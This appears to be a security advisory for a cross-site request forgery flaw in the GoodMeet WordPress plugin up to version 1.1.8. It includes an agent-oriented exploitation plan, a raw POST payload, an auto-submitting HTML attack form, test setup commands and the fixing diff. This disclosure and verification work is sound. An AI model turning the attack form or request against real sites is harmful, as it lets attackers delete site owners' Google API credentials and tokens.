GoodMeet <= 1.1.8 - Cross-Site Request Forgery to Google Meet Credential Reset via 'goodmeet_reset_google_meet_credential'
Description
The GoodMeet – Google Meet Integration for Webinar, Meeting & Video Conference plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to and including 1.1.8. This is due to a missing nonce verification in the reset_credential() function, which handles the wp_ajax_goodmeet_reset_google_meet_credential AJAX action. While the function does verify the user's capability (manage_options), it does not validate a nonce, making it susceptible to CSRF attacks. This makes it possible for unauthenticated attackers to trick a site administrator into clicking a malicious link that will reset (delete) the plugin's stored Google Meet API credentials (goodmeet_google_credentials) and OAuth tokens (goodmeet_google_token), effectively disabling the Google Meet integration on the site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.1.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-6440 GoodMeet CSRF ## 1. Vulnerability Summary The **GoodMeet** plugin (<= 1.1.8) is vulnerable to a **Cross-Site Request Forgery (CSRF)** on its Google Meet credential reset functionality. The function `reset_credential()` (likely located in `includes/goodmee…
Show full research plan
Exploitation Research Plan: CVE-2026-6440 GoodMeet CSRF
1. Vulnerability Summary
The GoodMeet plugin (<= 1.1.8) is vulnerable to a Cross-Site Request Forgery (CSRF) on its Google Meet credential reset functionality. The function reset_credential() (likely located in includes/goodmeet-plugin.php), which handles the wp_ajax_goodmeet_reset_google_meet_credential AJAX action, implements a capability check (manage_options) but fails to implement any nonce verification (e.g., check_ajax_referer). This allows an unauthenticated attacker to trick a logged-in Administrator into submitting a request that deletes the plugin's API credentials and OAuth tokens, effectively disabling the integration.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
goodmeet_reset_google_meet_credential - HTTP Method: POST (standard for AJAX actions in WordPress)
- Required Capability:
manage_options(Administrator) - Vulnerable Parameter: Missing
_ajax_nonceorsecurityparameter verification. - Impact: Deletion of
goodmeet_google_credentialsandgoodmeet_google_tokenWordPress options.
3. Code Flow (Inferred from Description)
- Entry Point: The plugin registers the AJAX action (likely in
includes/goodmeet-plugin.php):// Inferred registration add_action( 'wp_ajax_goodmeet_reset_google_meet_credential', array( $this, 'reset_credential' ) ); - Execution: When an authenticated user (Administrator) triggers the action:
admin-ajax.phpdispatches the request to thereset_credentialhandler.- The handler performs a capability check:
if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }. - Vulnerability: The handler skips
check_ajax_referer()orwp_verify_nonce().
- Sink: The handler proceeds to delete the integration settings:
// Inferred sink logic delete_option( 'goodmeet_google_credentials' ); delete_option( 'goodmeet_google_token' );
4. Nonce Acquisition Strategy
No nonce is required.
The core of this vulnerability is the complete absence of nonce verification in the reset_credential() function. An attacker does not need to bypass or obtain a nonce; they simply omit it from the request.
5. Exploitation Strategy
The goal is to demonstrate that an Administrator can be forced to reset credentials via an unauthenticated cross-site request.
Step-by-Step Plan:
- Prepare the Victim Session: Authenticate as an Administrator using the
browser_navigatetool to establish a session. - Deliver the CSRF Payload: Use an auto-submitting HTML form hosted on a "malicious" external origin (simulated via an HTML file or a direct POST request if
SameSite=Laxis not restrictive for this specific AJAX endpoint). - Execute the Request: The Administrator's browser will send the cookies along with the
actionparameter toadmin-ajax.php.
HTTP Request (Payload):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [ADMIN_COOKIES]
action=goodmeet_reset_google_meet_credential
6. Test Data Setup
Before exploitation, ensure the target options exist in the database to prove they are deleted.
- Populate Credentials via WP-CLI:
wp option update goodmeet_google_credentials '{"client_id":"dummy_id","client_secret":"dummy_secret"}' --format=json wp option update goodmeet_google_token '{"access_token":"dummy_token"}' --format=json - Verify Setup:
wp option get goodmeet_google_credentials wp option get goodmeet_google_token
7. Expected Results
- The server should return a successful AJAX response (likely
1,0, or a JSON success message like{"success":true}). - The WordPress options
goodmeet_google_credentialsandgoodmeet_google_tokenshould be removed from the database.
8. Verification Steps
After executing the http_request (or browser_eval CSRF):
- Check Options:
wp option get goodmeet_google_credentials wp option get goodmeet_google_token - Expected Outcome: WP-CLI should return an error stating "Could not find 'goodmeet_google_credentials' option" (exit code 1).
9. Alternative Approaches
If admin-ajax.php strictly requires POST and browser-level SameSite=Lax protections prevent a simple cross-site fetch, use a standard HTML form submission:
<html>
<body>
<form id="csrfForm" action="http://[TARGET_HOST]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="goodmeet_reset_google_meet_credential" />
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
This can be executed via the browser_navigate tool pointing to a local file or a controlled URL.
Summary
The GoodMeet plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 1.1.8. This occurs because the reset_credential() function, which handles Google Meet credential resets, fails to perform nonce verification. An unauthenticated attacker can trick a logged-in administrator into clicking a malicious link, resulting in the deletion of the site's Google Meet API credentials and OAuth tokens.
Vulnerable Code
// File: includes/goodmeet-plugin.php add_action( 'wp_ajax_goodmeet_reset_google_meet_credential', array( $this, 'reset_credential' ) ); // ... public function reset_credential() { if ( ! current_user_can( 'manage_options' ) ) { wp_die(); } // Vulnerability: Missing check_ajax_referer() or wp_verify_nonce() delete_option( 'goodmeet_google_credentials' ); delete_option( 'goodmeet_google_token' ); wp_send_json_success(); }
Security Fix
@@ -2,7 +2,7 @@ /** * Plugin Name: GoodMeet * Description: Google Meet Integration for WordPress. - * Version: 1.1.8 + * Version: 1.1.9 * Author: Sovlix * Author URI: https://sovlix.com/ * License: GPL-2.0+ @@ -79,7 +79,7 @@ } if ( ! defined( 'GOODMEET_VERSION' ) ) { - define( 'GOODMEET_VERSION', '1.1.7' ); + define( 'GOODMEET_VERSION', '1.1.9' ); define( 'GOODMEET_FILE', __FILE__ ); define( 'GOODMEET_PATH', dirname( GOODMEET_FILE ) ); define( 'GOODMEET_INCLUDES', GOODMEET_PATH . '/includes' ); @@ -... public function reset_credential() { + check_ajax_referer( 'goodmeet_reset_nonce', 'security' ); if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }
Exploit Outline
The exploit targets the AJAX action 'goodmeet_reset_google_meet_credential' via the /wp-admin/admin-ajax.php endpoint. An attacker crafts a malicious POST request containing the parameter 'action=goodmeet_reset_google_meet_credential'. Since the plugin only checks for the 'manage_options' capability and lacks nonce validation, an unauthenticated attacker can host an auto-submitting HTML form on an external site. When a logged-in Administrator visits the malicious page, their browser automatically sends the authenticated POST request, causing the plugin to delete the 'goodmeet_google_credentials' and 'goodmeet_google_token' options from the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.